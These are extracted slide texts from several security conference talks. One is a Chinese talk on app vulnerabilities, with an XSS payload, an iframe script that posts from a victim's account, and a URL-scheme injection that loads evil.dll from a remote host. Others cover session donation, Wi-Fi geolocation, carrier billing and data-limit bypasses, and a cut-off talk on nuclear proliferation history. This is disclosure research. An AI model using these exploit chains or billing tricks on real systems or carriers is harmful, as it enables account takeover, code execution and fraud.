dataController.getContentForObjectWithID(targetID); // add the new content $content.append(targetIDContent); // <-- DOM XSS [ { "content": { "apd00AB7903-79D8-4AD5-9CC2-F423F9A5D835": { "alternativeName": "CardDAV settings", "content": "<script>alert(/hacked by edwardzpeng/);</script>", "name": "CardDAV settings", "summary": "" } } } ] x-help-basic://help.apple.com/<省略>/?lang=en&contentURL=//evil.com/ #apd00AB7903-79D8-4AD5-9CC2-F423F9A5D835 /Info.json /English.lproj/contentjson-version.txt /English.lproj/content.json 利⽤ • 在 macOS Mojave 或更早版本上结合 NFS 可以全盘读⽂件 • 可惜和 help: 不是同⼀个 WebView,不⽀持 AppleScript • 可以打开本地除 file:/// 之外任意 URL scheme • 差⼀点就可以弹计算器了 • 这个 WebView 没有沙箱,但是也没有 JIT • 任何 DOM 漏洞都可以直接获取完整远程代码执⾏权限 • 例如之前打过 Pwn2Own 的 SQLite 某 iOS App 跨应⽤获取 cookie app://webview?url=http://example.com http://example.com app://webview?url=http://example.com Bug • app:// 协议可在 App WebView 中打开指定 URL • 限定了 example.com • 由于历史遗留需求,资产⾥有⼀个解析到本地的域名 • localhost.example.com -> 127.0.0.1 • 以上是两个毫不相⼲的业务 • app://webview?url=http://localhost.example.com http://localhost.example.com app://webview?url=http://localhost.example.com http://localhost.example.com 恶意 App http://127.0.0.1 利⽤ • iOS 允许监听 80(http 默认)端⼝ • 其他主流系统需要 sudo 或管理员 • 在本地开⼀个 http 服务,使⽤系统 API 允许⾃身后台运⾏ • ⽤ app://webview?url=http://localhost.example.com 跳转到受害 App • 受害 App 访问恶意 App 的⽹⻚ • 由于⽹址满⾜ *.example.com • 可以读取到⼀级域名下的 cookie • 并允许调⽤ native bridge 执⾏更多敏感功能 iOS WebView UXSS WebView • UIWebView 默认允许 allowUniversalAccessFromFileURLs • 只要从 file:/// 域加载可控的 HTML 即可造成 UXSS • 读取 app 任意⽂件以及访问任意远程 http 地址 • 场景:私信或⽹盘的共享⽂件、HTML 格式的电⼦书、邮件附件、浏览器、系 统 Files ⽂件关联等处的⽂件预览 • 早被玩烂了 <meta name="referrer" content="never"> <script type="text/javascript"> function inject() { var form = new FormData(); form.append('content', 'hello world!'); form.append('st', window.config.st); var xhr = new XMLHttpRequest(); xhr.onload = function() { /* 发送成功 */}; xhr.open('POST', 'https://****/api/statuses/update'); xhr.send(form); } document.addEventListener('DOMContentLoaded', function (event) { const iframe = document.createElement('iframe'); iframe.setAttribute('src', 'https://****/compose/'); iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-popups allow-modals'); iframe.onload = function() { iframe.contentWindow.eval('!' + inject + '()'); }; document.body.appendChild(iframe); }); </script> 某社交⽹络 iOS 官⽅客户端 私信发送点开即中 另⼀种类 UXSS • WebView 暴露接⼝向特定域名⻚⾯添加额外功能 • 通常需要鉴权 • 以域名为粒度 • 如果鉴权出现问题? • 如何从 UIWebView 获得当前⽹ 址? • StackOverflow 上,最容易搜索 到的答案是通过 js 的返回值 • window.location • 可靠吗? •原⽣只读对象可以被 js 劫持 •曾是 Chrome 和 WebKit 通 ⽤的技巧 •Chrome 系已修复,然⽽截 ⽌撰写本 talk 的 2021 年6 ⽉,最新的 Safari 仍然可⽤ 漏洞 • location 对象默认只读 • 截⽌ 2021 年 6 ⽉ 24 ⽇,Safari ⽤的 JavaScriptCore 仍然允许覆盖 window.location • 在全局作⽤域声明⼀个函数 function location() {} 即可⾃动提升,直接替换 window.location 为⾃定义变量 • WebView 读取到的 URL 可能被劫持成任意字符串 • 包括各种变体 location.href、location.toString() 等 案例 • ⼀短视频 App 可以在私信、群组中发送链接 • 曾经使⽤ UIWebView 并存在 location 劫持 bug • WebView 提供了⼀组 API ⽤于访问当前登录的账户 • 鉴权使⽤了具有安全隐患的 js • 恶意⽹⻚直接返回可信域名造成绕过 • 任意⽹⻚均可访问⽤户 token 思考 • 漏洞原因是 JavaScriptCore 处理变量作⽤域的⾏为 • 同时影响 UIWebView 和 WKWebView • 但通常只有⽤了 UIWebView 的 App 会出现此类问题 思考 • UIWebView 历史悠久,⽹上有很多陈旧的资料误导⼈ • 通常 iOS 开发者不喜欢⽤异步函数,需要考虑线程切换等麻烦的问题 • UIWebView 的 stringByEvaluatingJavaScriptFromString 直接阻塞返回 • 对应 WKWebView 是异步回调 • UIWebView 正规的获取地址⽅式存在 bug • webview.request.URL.absoluteString 在⻚⾯有多个资源请求时返回的不是主⽂档 • 更好的⽅式是在 webViewDidFinishLoad 事件使⽤ webview.request.mainDocumentURL • WKWebView 很简单:webView.URL AppStore 审核⽬前 已禁⽌使⽤ UIWebView 2020 年 10 ⽉的 Pull Request • WKWebView 仍然可以启⽤不安全 的 UXSS 选项 • 即使彻底淘汰 UIWebView 还是有 出 bug 的可能 某视频客户端远程 dll 注⼊ URL scheme 参数注⼊ • Windows 下的 URL Scheme 和运⾏命令⽤了同⼀个 API ShellExecute • URL scheme 协议关联由于历史原因不能处理好引号闭合问题 • 存在参数注⼊⻛险 • 如 Electron 的 CVE-2018-1000006 proto:// electron.exe "%1" electron.exe "proto://%1" electron.exe "proto://" --no-sandbox "" 参数注⼊ if (_wstricmp(arg[i], L”-loadmodule", 0) != -1) { handle = LoadLibraryExW(arg[i + 1], 0, 8u); lpFunc = GetProcAddress(handle, "**_LoadModule_WinMain"); // ... } 判断 loadmodule 选项,有则加载 DLL live://" --loadmodule "evil.dll" • 从浏览器跳转本地应⽤会弹窗确认 • 静默的⼊⼝? 本地 HTTP 服务 从 Web 拉起客户端 C:\Users\haha>curl http://localhost:12345/getinfo -v > GET /getinfo HTTP/1.1 > Host: localhost:11066 > User-Agent: curl/7.55.1 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Content-Type: text/html < Server: LocalWeb Server < Content-Length: 64 < Accept-Ranges: bytes < Access-Control-Allow-origin: * < Connection: close < clientinfo({"ver" : "10.12.2789.0" , "_ver" : 50180920}) JSONP + 通配符 CORS 任意浏览器任意⽹站均可访问 本地 HTTP 服务 从 Web 拉起客户端 http://127.0.0.1:12345/startclient?cmd=live:// • 转换成 URL scheme 唤起客户端 • 存在 bug,⽆法正确处理 encodeURLComponent • 闭合参数的半⻆引号会变成 %22,⽆法注⼊ 本地 HTTP 服务 从 Web 拉起客户端 http://127.0.0.1:12345/pullclientjpg?cmd=live:// • 修复了 URL 编码的接⼝,完美触发 利⽤ • LoadLibrary 可以加载本地路径 • 在 Windows 下使⽤ UNC path 可以访问远程⽂件 • \\hostname\path\to.dll • 协议 • SMB • WebDAV 利⽤ 处理 DllMain 的 DLL_PROCESS_ATTACH 事件即可 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // post exploit break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 两种共享协议对⽐ • SMB • 由于多次被滥⽤(蠕⾍等),在公 ⽹上被过滤 • Windows 资源管理器开启⽂件共 享即可 • 也可以使⽤ samba 等开源服务器 • WebDAV • 基于 HTTP 协议扩展 • IIS ⽀持,但配置稍微麻烦 • 建议使⽤ Python 实现的 • http://github.com/wolf71/ TinyWebDav 最终利⽤ http://127.0.0.1:12345/pullclientjpg?cmd=live://%22%20- loadmodule%20%22%5C%5Cexample.com%5Chaha%5Cevil.dll%22%20%22 触发⽅式 • 浏览器 1click • 打开恶意⽹⻚,⽹⻚通过任意标签向 127.0.0.1 发起 URL 请求即可 • 甚⾄不需要 javascript • 远程 0click • 本地服务实际开在 0.0.0.0 上导致可以局域⽹访问 • 处在可达的同⼀⽹络内且知道对⽅ IP 即可 ⼩结 ⼩结 • 案例分析了⼏个不同平台的客户端软件漏洞 • 攻击⾯ • URL scheme • 桌⾯端的开放端⼝ • 特别是 http 服务 • 难以简单分类的 bug • 发散性的条件组合 感谢聆听
pdf
Session Donation Alek Amrani DEF CON 17 About me • Alek Amrani • Longhorn Lockpicking Club • UT Austin CS Undergrad • UT Austin ISO • Alek Amrani • Longhorn Lockpicking Club • UT Austin CS Undergrad • UT Austin ISO This Talk • TURBO TRAC • Not a lot of time, so brevity is the name of the game • Presenting an Idea, as well as the thought process behind the formation of the idea • Questions / Comments / Whatnot • Time planned at end for this Background Info • Session ID (SID) Attack • Session Hijacking • Session Fixation • Cross-Site Scripting • Cross-Site Cooking • Countermeasures exist Background Info • Some common countermeasures taken to prevent session hijacking • Use of a long random session key • Regeneration of SID • Encrypted transmissions • Secondary Checks • Limiting by IP Address, etc. • Changing SID often Session Donation • What is ‘Session Donation’ • Exactly what it sounds like. • Donating your SID to someone else. • Very similarly to Session Fixation • You need to “fix” the victim’s session to a particular ID • Many Session Fixation countermeasures won’t work • Only accepting server generated ID’s from a cookie • Regenerating SIDs • Etc. • It’s much easier to give someone your identity rather than stealing theirs Session Donation • Are you Insane? Why would I give my info away... • Example Scenario: • Joe logs into a service and deletes the stored information • Joe ‘donates’ his session to Jim • Joe tells Jim there were problems earlier, and he’ll need to re-enter his information • Jim goes to the page, and inputs his information and • saves it • Joe can now login as himself, and has Jim’s information Session Donation • Issues do exist • User does not have to login • PEBKAC • User training, if any, is usually geared toward being cautious when authenticating • 'Single Login' Setups • Cooperations, Universities, etc. • Connection does not need to be interrupted for this attack vector • SSL Certs still valid Session Donation • Requirements for Attack • Attacker must be able to obtain a SID • If the attacker can login/use the service, the attacker can obtain a SID • Potentially a large group • Attacker needs a way to give away their SID • Cross Site Cooking • Session Fixation • MITM • Easier to fix a value with these methods than to steal a value Session Donation • Why this is dangerous • Many 'Session Hijacking' countermeasures won't work effectively • The victim is being given a valid SID • Many Session Fixation defenses just stop attackers from authenticating with a fixed SID • Can you prevent someone from giving away their identity? • Can you prevent someone from authenticating as themselves, after giving away their identity? Session Donation • Session Hijacking Prevention may even make session donation “safer” for the attacker • The attacker will be able to invalidate the “donated” session once the attack has been completed, preventing the victim from removing their stolen information Prevention • Hard, but not impossible to prevent • The attacker isn’t attacking the SID, but the fact that the SID exists, and is used for authentication • Prevent XSS • Large (largest?) percentage of web vulnerabilities • Use a different SID generation method • IP Address check implemented with SID generation and authentication • Use hash of IP as part of SID generation • Authentication takes place by regenerating SID and comparing Questions and Comments • Ready...GO • Fun story about the 'about me' image • Unanswered questions and whatnot, you can probably catch me in the Lockpicking Village Additional Info • These slides, as well as more info will be available via: obsinisize.com • I can be reached at: [email protected]
pdf
5/10/2007 DEFCON 15 1 GeoLocation of Wireless Access Points & “Wireless GeoCaching” Presented By: Rick Hill 7/6/2007 DEFCON 15 2 The Problem: 802.11b Geo-Location • Researchers have documented at least 4 Techniques for Geo-Location of Wireless Access Points (APs)1 • Netstumbler doesn’t Geo-Locate –> It simply gives the Driver’s GPS Position. • Netstumbling & GeoCaching Compared: Wardrivers don’t locate AP’s with the same intent that GeoCachers find Caches; they’re content to simply find New Networks. GeoCaching, in contrast, is all about Precise Location… • What if we could combine the two? Consider a New Sport: “Wireless GeoCaching” 7/6/2007 DEFCON 15 3 What’s GeoCaching? • Wikipedia: - GeoCaching is an outdoor treasure-hunting game in which the participants use a Global Positioning System (GPS) receiver or other navigational techniques to hide and seek containers (called “GeoCaches" or "caches"). - Typical Cache - a small waterproof container containing a logbook & "treasure," usually toys or trinkets of little monetary value. 7/6/2007 DEFCON 15 4 Project Goals • Our Goals: - Build an Automated 802.11b Tracking Device using OTS Components - Test Device in a Controlled Environment (the Lake) - Participate in “Wireless GeoCaching” Game: Geo-Locate hidden AP’s & Caches using Netstumbler and Radio Direction Finding (RDF) techniques. 7/6/2007 DEFCON 15 5 Project Concept • Of the 4 DF Methods -> - Received Signal Strength Indication (RSSI) + Angle of Arrival (AOA) + Triangulation is easiest to Implement • Our Platform: Sea Ray Boat • Location: Lake Anna, VA • Equipment: - Hardware - 15 Db YAGI Antenna, Stepping Motor & Controller, Digital Compass, GPS, Dell Laptop - Software – XP, Netstumbler 0.4.0, Visual Basic 5.0 7/6/2007 DEFCON 15 6 Agenda • Background – Why is Wireless Tracking so Hard??? • 4 Techniques – Advantages / Disadvantages • Building the Tracker (HW/ SW) • Static Test with a Known AP • Wireless GeoCaching • Accuracy compared to other Techniques 7/6/2007 DEFCON 15 7 Why So Difficult? • Spread Spectrum Technology - DSSS hops many x/sec. and covers a 22 Mhz Bandwidth • Spread Spectrum designed by the Military to look like Background Noise (Very Low Power) • Must wait on Beacon Frames & Probe Frames • 2.4 Ghz Radio Propagation Subject to: - Multipath Inteference - Scattering Interference, (Trees & Buildings) 7/6/2007 DEFCON 15 8 4 DF Techniques • Radio Direction Finding (RDF) • Received Signal Strength Indication (RSSI) + Angle of Arrival (AOA) + Triangulation • Doppler Direction Finding • Time of Arrival (TOA) & Time Difference of Arrival (TDOA) 7/6/2007 DEFCON 15 9 Radio Direction Finding (RDF) • Very Simple – Point a directional antenna in the proper direction & Maximize Signal • Advantages: - Low Cost - Can be done Manually (aim the Cantenna.) Duh! • Disadvantages: - Accuracy limited to Antenna Beamwidth & Rotor System Mechanics - Can’t Geo-Locate –> Simply guides you in the Right Direction (Sort of) 7/6/2007 DEFCON 15 10 RSSI + AOA + Triangulation • A step up from simple RDF: Given >= 2 locations (fixes), target position follows by Triangulation: Law of Sines • AP Target located @ A. • Boat takes 2 Fixes, giving angles B & C. • Side a = GPS distance B -> C. • Distance to Target follows from the Law of Sines. 7/6/2007 DEFCON 15 11 Doppler Direction Finding (DDF) • DDF systems employ 4 + Antennas & use the Doppler effect to derive AOA & Distance Advantages: Better for moving Targets More accurate Speed Calculation Disadvantage: Equipment is very expensive: Professional 2.4 Ghz RDF rig costs approx. $3,000 7/6/2007 DEFCON 15 12 Time of Arrival (TOA) & Time Difference of Arrival (TDOA) • Similar to Doppler: Electronically calculated from Multiple Antennas • Examples: - Cellular Tower Signal Location - People Tracking via RFID & WiFi (AeroScout.com) - CISCO 2710 Wireless Location Appliance • Advantage: - Excellent with known Cell Towers or AP’s • Disadvantages: - May not be as Accurate - Requires Existing Infrastructure 7/6/2007 DEFCON 15 13 Building the Wireless Tracker • Our Tracking Device will look a lot like the Radar Antennas seen on Navy Ships • It Consists of: - Stepper Motor for 360 deg. Rotation (1) - Stepping Motor Controller (1) - Laser Pointer (1) - Miniature 15 Db. YAGI Antenna (1) - Mounting Pole and Plate - For mounting 7’ above the Boat Deck (1) - Digital Compass and GPS (1 each) • Hardware shown next slide… 7/6/2007 DEFCON 15 14 Building the Tracker - Hardware 7/6/2007 DEFCON 15 15 Building the Wireless Tracker cont’d • First: The stepper motor must be mounted on a stable, flat surface. For our project this is a 7” x 7” square LEXAN sheet. LEXAN sheet is held 2.5” above the Boat table by 4 Hex Bolts • Drill 4 holes for motor mount & 4 holes for the LEXAN stepper motor “tabletop” 7/6/2007 DEFCON 15 16 Building the Wireless Tracker cont’d • 2nd: Mount the Antenna with ½” aluminum strip to Stepping Motor shaft. Note Brass coupler w/ 2 set screws that mount directly to the motor 7/6/2007 DEFCON 15 17 Building the Wireless Tracker cont’d • Third: Hook up the parallel printer (control) cable to the Laptop. Carefully wire the Stepper motor to the Control Board as shown below. Use Outputs 1-4 for the 4 phases… Note there are a total of 6 wires on this UniPolar Motor (5 & 6 go to Ground) 7/6/2007 DEFCON 15 18 Building the Wireless Tracker cont’d • Fourth: Test the stepping Motor & verify proper operation with the included Program StepperV6.EXE. Note: Our motor steps @ 7.5 degrees/ step. So, 48 steps = 1 Revolution = 1 Compass Rose. Screen Shot: 7/6/2007 DEFCON 15 19 Building the Wireless Tracker cont’d • Final Step: Mount the Compass & (optional) Laser Pointer just above and pointing in exactly the same direction as the YAGI antenna. Connect between Output 12 and GND of the Control Board. • The Laser pointer can be used at night to Illuminate Target AP & Direction once Max Signal Strength found. 7/6/2007 DEFCON 15 20 Building the Wireless Tracker cont’d • Finished Tracker Mounted on Sea Ray Boat: 7/6/2007 DEFCON 15 21 So, Why a Stepper Motor? • Stepper Motors achieve very Precise Control of Angular Rotation • No Feedback Loop Required • Repeatable Control allows them to be used in floppy Disk Drives & Flatbed Scanners • Can be salvaged from old Floppy drives & used in projects like this: http://www.epanorama.net/circuits/diskstepper.html) 7/6/2007 DEFCON 15 22 Stepper Motor Operation • Stepper Motors Rotate by Energizing Phases 1-4 in sequence. Source: Wikipedia Mag 1- Magnet (1) is charged, attracting the topmost four teeth of sprocket. 2- Magnet (1) turned off, Magnet (2) charged, pulling four teeth to the right. This results in a rotation of 3.6° 3- Magnet (2) off, (3) on, another 3.6 deg. rotation; Repeat for Phases 3-4… 7/6/2007 DEFCON 15 23 And the Antenna Selection? • YAGI Antenna - Very Directional with High Front to Back ratio. Practically, this means no 180 deg. mistakes in Direction Finding (DF) • Perfect Pattern for DF and weighs only 2.9 oz 7/6/2007 DEFCON 15 24 Building the Tracker - Software • PCMCIA Card – Senao 2511 with Prism Chipset • Front-End Monitoring via Netstumbler 0.4.0 • Netstumbler Script: Given an AP SSID as the Target, Script captures the Signal Strength readings on Fast Scan & writes them to a file 7/6/2007 DEFCON 15 25 Building the Tracker - Software • Visual Basic: Back-end VB program controls both Stepper Motor rotation & getting Signal Strength from the NS Script file. (VB Code included as a separate file.) FOR Step = 1 to 100 ‘ 360 Degree Scan If rev1.Value = False Then ‘REVERSE OR FORWARD Call stepper_move(1, Val(steps1.Text)) ‘FORWARD Else Call stepper_move(1, -Val(steps1.Text)) ‘REVERSE End If Next Step 7/6/2007 DEFCON 15 26 Software – Programming Sequence [1] Boat cruises looking for Target AP (Omni Antenna) [2] VB Code displays Splash Screen “Target Acquired” [3] Switch Input to Directional Antenna [4] Scan 360 deg. in 7.5 deg. & 3.75 deg. Increments [5] Average 3 RSSI readings / step [6] Save MAX Reading & Angle [7] Point Antenna @ Target, Illuminate Laser [8] Save GPS Coordinates, MAX Reading & Angle [9] Calculate Target AP Position given 2 or more fixes 7/6/2007 DEFCON 15 27 Sorties • 8 Sorties over 2 days: - 1 Static Test on Land - 4 against AP’s with Known GPS Positions - 2 GeoCaching Games - 1 against an Unknown AP (Not visible LOS) 7/6/2007 DEFCON 15 28 Static Test with a Land-Based AP 7/6/2007 DEFCON 15 29 Lake Anna: WIGLE.Net • Apparently, None of the Drivers own Boats, Go Figure? • AP’s currently mapped @ Lake Anna, VA: 7/6/2007 DEFCON 15 30 Scan Result: Island1-F2 Note the Bell Curve & Signal Lock 7/6/2007 DEFCON 15 31 Calculations – Inverse & Forward INVERSE Program – Distance between 2 pts. FORWARD Program – Distance & Angle to Target http://www.ngs.noaa.gov/TOOLS/Inv_Fwd/Inv_Fwd.html 7/6/2007 DEFCON 15 32 2nd Sortie – Anna Point Marina Next: Wireless GeoCaching –> Searching for Hidden AP’s 7/6/2007 DEFCON 15 33 Wireless GeoCaching • Let the Games Begin!: • Setup: - 2 teams of Two - - 1st Team drops a Black Bucket containing the AP & GeoCache Treasure on shore. • Rules: Within 100 ft. of shoreline & < 5 miles from the Marina - 2nd Team: Finds AP with the Scanner 7/6/2007 DEFCON 15 34 Wireless GeoCaching • Pictures / Video of Wireless GeoCaching • Slide Show - ~ 5 min. Picture Break 7/6/2007 DEFCON 15 35 Sortie 7 - GeoCache Found: SilverFox 7/6/2007 DEFCON 15 36 RDF Challenges - SilverFox Required 3 Scans – Signal vanished @ F2 7/6/2007 DEFCON 15 37 Sortie 8: AP Unknown Location SSID: default 7/6/2007 DEFCON 15 38 Eustace Drive AP Triangulation - Possible 3 houses on Eustace Drive 7/6/2007 DEFCON 15 39 “The” House Subsequent Scan finds the exact House, SSID (default) 7/6/2007 DEFCON 15 40 GeoLocation – Result Summary #1- Land Test 35 #5 – Anna Pt. 100 #2 – AP Bridge 234 #6- State Park (GeoCache) 110 #3 – Island 1 54 #7- SilverFox (GeoCache) DR #4 – Island1 LP 109 #8- Unknown AP (See Picture) Error (m) #/ Location Average Error: 107 m Error (m) #/ Location AVG Distance - Target: 750 m 7/6/2007 DEFCON 15 41 Accuracy Comparison GPS GeoCaching GPS Standard 10 GPS WAAS 2 Netstumbler GPS Receiver Only 1000 (Vehicle Position) Wireless GeoCaching GPS with RDF Triangulation 107 Method Accuracy (meters) 7/6/2007 DEFCON 15 42 Comparison to Other Methods • 1st – Wireless GeoCaching Game was played under almost Ideal Conditions: - Clear Line of Sight - No traffic (other than 1 or 2 Boats). - Virtually No Multipath Interference • GeoLocation in an Urban environment would not work as well. 7/6/2007 DEFCON 15 43 RDF - More Art than Science • Largely responsible for defeat of German U- Boats in the Atlantic WWII (Huff-Duff) • Works best with Acute triangles • With experience you get really good @ this! (Caches are a nice bonus) • Recommend – 1st find target w/ trianglation. Then, simply scan closer & closer Wireless GeoCaching -> Its all about the Hunt! 7/6/2007 DEFCON 15 44 Safety Warning • WARNING: The as-built version of the Scanner utilizing a Senao 200 mw high-power card produces an EIRP of 4 watts (the maximum legal limit) • While within FCC limits, radiation exposure limits state you should stay at least 36 inches away from ANY Beam antenna and operate the scanner such that it does not point at any vehicle occupants. (see ARRL on the web for more info.) • Never operate a Laser such that it points directly at another person, (eyes). 7/6/2007 DEFCON 15 45 Questions? [email protected] Device Demo 7/6/2007 DEFCON 15 46 References1 • “Database Correlation Method for Multi-System Location”, Paul Kemppi, Helsinki University, 8/2005 • “Indoor Propogation Modeling @ 2.4 Ghz for IEEE 802.11 Networks”, Dinesh Tummala, University of North Texas, 12/2005 • “Wireless Support Positioning using Support Vector Machines”, Philipp Schloter, Stanford University, 7/2006 • “A Practical Approach to Identifying & Tracking Unauthorized 802.11 Cards & Access Points”, Interlink Networks, 2002 7/6/2007 DEFCON 15 47 Parts List & Suppliers • MFJ Enterprises MFJ-1800 15db Antenna, mfjenterprises.com • Brunton Nomad V2 Digital Compass, thecompassstore.com • DigiKey 7.5 deg. Stepping Motor, #403-1010-ND, digikey.com • Stepper Motor & Analog/ Digital Controller, gadgetmasterII, pcgadgets.com • Laptop with Visual Basic 5.0 or later & Netstumbler 0.4.0 intstalled • Magellan GPS 315 • Laser Pointer (generic)
pdf
Business logic flaws in mobile operators services B o g d a n A l e c u Bogdan ALECU About me Independent security researcher Sysadmin Passionate about security, specially when it’s related to mobile devices; started with NetMonitor (thanks Cosconor), continued with VoIP and finally GSM networks / mobile phones @msecnet / www.m-sec.net Bogdan ALECU GOALS o SIM Toolkit: what is it, how can we exploit it o Understanding of business logic flaws in mobile operators services o What you should do in order to protect from these attacks Bogdan ALECU TOPICS 1. SIM TOOLKIT 2. HTTP HEADERS 3. DATA TRAFFIC VULNERABILITY 4. THE EXTRA DIGIT 5. SUMMARY Bogdan ALECU THE BUGGY WORLD SIM 1 TOOLKIT Bogdan ALECU THE BUGGY WORLD For sending Ringtones, operator logo, concatenated messages, SMS makes use of the User Data Header SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD SIM TOOLKIT 1 Example of SIM Toolkit icon on your mobile device Bogdan ALECU THE BUGGY WORLD SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD The type of message sent is addressed directly to the SIM, by setting the PID to 0x7F, corresponding to USIM Data Download SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD … then the ME shall pass the message transparently to the SIM … shall not display the message, or alert the user of a short message waiting “ ” SIM TOOLKIT 1 ETSI GSM 11.14 Bogdan ALECU THE BUGGY WORLD SIM TOOLKIT 1 Security Parameter Indicator Security Parameter Indicator Security Parameter Indicator Security Parameter Indicator Bogdan ALECU THE BUGGY WORLD SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD UDH (User Data Header): 027000 PID (Protocol ID): 7F DCS (Data Coding Scheme): F6 000e0d00210000b20000aabbccddee00 CPL CHL SPI SPI 0 0 1 0 0 0 0 1 KIc KID TAR CNTR SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD • SIM card automatically replies to the sending number • Nothing in Inbox, Outbox – only on your bill SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD LET’S SEE IT IN ACTION! SIM 1TOOLKIT Bogdan ALECU THE BUGGY WORLD HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD Mobile operators have their own WAP / WEB page for customers: • Balance check • Money transfer • Download music, videos, wallpapers • Subscribe to services (eg. custom ringback tones) HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD User Agent Switcher https://addons.mozilla.org/en- US/firefox/addon/user-agent-switcher/ HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD • Operators know who to charge based on HTTP headers • Sniff the traffic your phone does and look for the headers having mobile number • “Privacy Leaks in Mobile Phone Internet Access” by Collin Mulliner HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD 7/8/2013 HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD The old fashioned way of the attack HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD CSD (Circuit Switched Data) • Think about it like dial-up • Since it involves actually placing a phone call, it is exposed to the same vulnerabilities like a regular call HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD DEMO TIME! HTTP 2 HEADERS Bogdan ALECU THE BUGGY WORLD Data traffic 3 vulnerability Bogdan ALECU THE BUGGY WORLD • What happens when you reach data limit? • Have you ever tried to perform a DNS query? MOBILE 3 DATA TRAFFIC Bogdan ALECU THE BUGGY WORLD But what if … • you setup a VPN server listening on port 53 UDP (DNS port) • connect to this server and route all the traffic MOBILE 3 DATA TRAFFIC Bogdan ALECU THE BUGGY WORLD Internet traffic Works also in Roaming! MOBILE 3 DATA TRAFFIC Bogdan ALECU THE BUGGY WORLD 4 The extra digit Bogdan ALECU THE BUGGY WORLD Do you have a flat-rate plan with unlimited minutes in the operator’s network? THE EXTRA 4 DIGIT Bogdan ALECU THE BUGGY WORLD Do not try this at home! • Take a ported number that was in your network • Add two more digits to the end of the number • Place the call • You will be charged like calling in your network THE EXTRA 4 DIGIT Bogdan ALECU THE BUGGY WORLD THE EXTRA 4 DIGIT Bogdan ALECU THE BUGGY WORLD If that does not work… - try with one digit, all the digits - divert all calls to that number, but add a digit at the end of it THE EXTRA 4 DIGIT Bogdan ALECU THE BUGGY WORLD 5 Summary Bogdan ALECU SUmmary “Our technology does not allow unauthorized access. Occurrence of errors in billing regarding data traffic or voice is excluded.” 5 Summary Bogdan ALECU Summary o Test yourself and report the issues to your carrier o Check if your carrier allows you to disable access to premium rate services 5 Summary Bogdan ALECU Summary o Filter SIM command messages o Do not rely only on the caller ID o Always authenticate, do not forget about privacy 5 Summary F O R Y O U R A T T E N T I O N THANK YOU msecnet www.m-sec.net [email protected]
pdf
D.I.Y. NUKEPROOFING A NEW “DIG” AT “DATA-MINING” D.I.Y. NUKEPROOFING A NEW “DIG” AT “DATA-MINING” @3ALARMLAMPSCOOT DEFCON 24 @3ALARMLAMPSCOOT DEFCON 24 BACKGROUND (RADIATION?) (why?) didn't we do this last year? BACKGROUND (RADIATION?) (why?) didn't we do this last year? @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -A lot of F.U.D. about current and future nuclear threats -Civilian rad-hardening an ongoing Achilles' heel, lack of cogent preparedness especially against EMP -Ordering Tritium from Thailand is bad, mkay? -A lot of F.U.D. about current and future nuclear threats -Civilian rad-hardening an ongoing Achilles' heel, lack of cogent preparedness especially against EMP -Ordering Tritium from Thailand is bad, mkay? SOME PHYSICS HISTORY RELEVANT TO PROLIFERATION SOME PHYSICS HISTORY RELEVANT TO PROLIFERATION @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Neutrons, discovered in 1930, are responsible for isotopes of elements with differing mass -Fissile isotopes split when bombarded by neutrons; U-235, Pu-239 are important regarding proliferation -A critical mass can sustain a reaction, critical assembly makes a very dense softball into a “physics package”(euphemism!) -Neutrons, discovered in 1930, are responsible for isotopes of elements with differing mass -Fissile isotopes split when bombarded by neutrons; U-235, Pu-239 are important regarding proliferation -A critical mass can sustain a reaction, critical assembly makes a very dense softball into a “physics package”(euphemism!) THE MANHATTAN PROJECT THE $26B* O.G. O.G. OF PROLIFERATION THE MANHATTAN PROJECT THE $26B* O.G. O.G. OF PROLIFERATION @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Little Boy: ~80% uranium-235 (HEU) “gun-type”device; gaseous diffusion and calutron enrichment. 13-18kt yield -Little Boy: ~80% uranium-235 (HEU) “gun-type”device; gaseous diffusion and calutron enrichment. 13-18kt yield Fat Man: 96% Pu-239 (WG Pu) “implosion-type”device (explosive lensing); X-10 reactor U-238 transmutation 20- 22kt yield Fat Man: 96% Pu-239 (WG Pu) “implosion-type”device (explosive lensing); X-10 reactor U-238 transmutation 20- 22kt yield *inflation-adjusted *inflation-adjusted BACK IN THE USSR CRAZY LIKE A FUCHES: COPYING 'THE BOMB' BACK IN THE USSR CRAZY LIKE A FUCHES: COPYING 'THE BOMB' @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING Inside knowledge of the Manhattan Project combined with looting Germany's failed program produces a 22kt Fat Man clone, RDS-1 or "Stalin's Jet Engine" Inside knowledge of the Manhattan Project combined with looting Germany's failed program produces a 22kt Fat Man clone, RDS-1 or "Stalin's Jet Engine" Paranoia Protip Exfiltration of sensitive information is all but inevitable despite what seemed like reasonable countermeasures at the time. Paranoia Protip Exfiltration of sensitive information is all but inevitable despite what seemed like reasonable countermeasures at the time. THE GREAT NUCLEAR PISSING CONTEST THE TELLER-ULAM DESIGN REVOLUTIONIZES 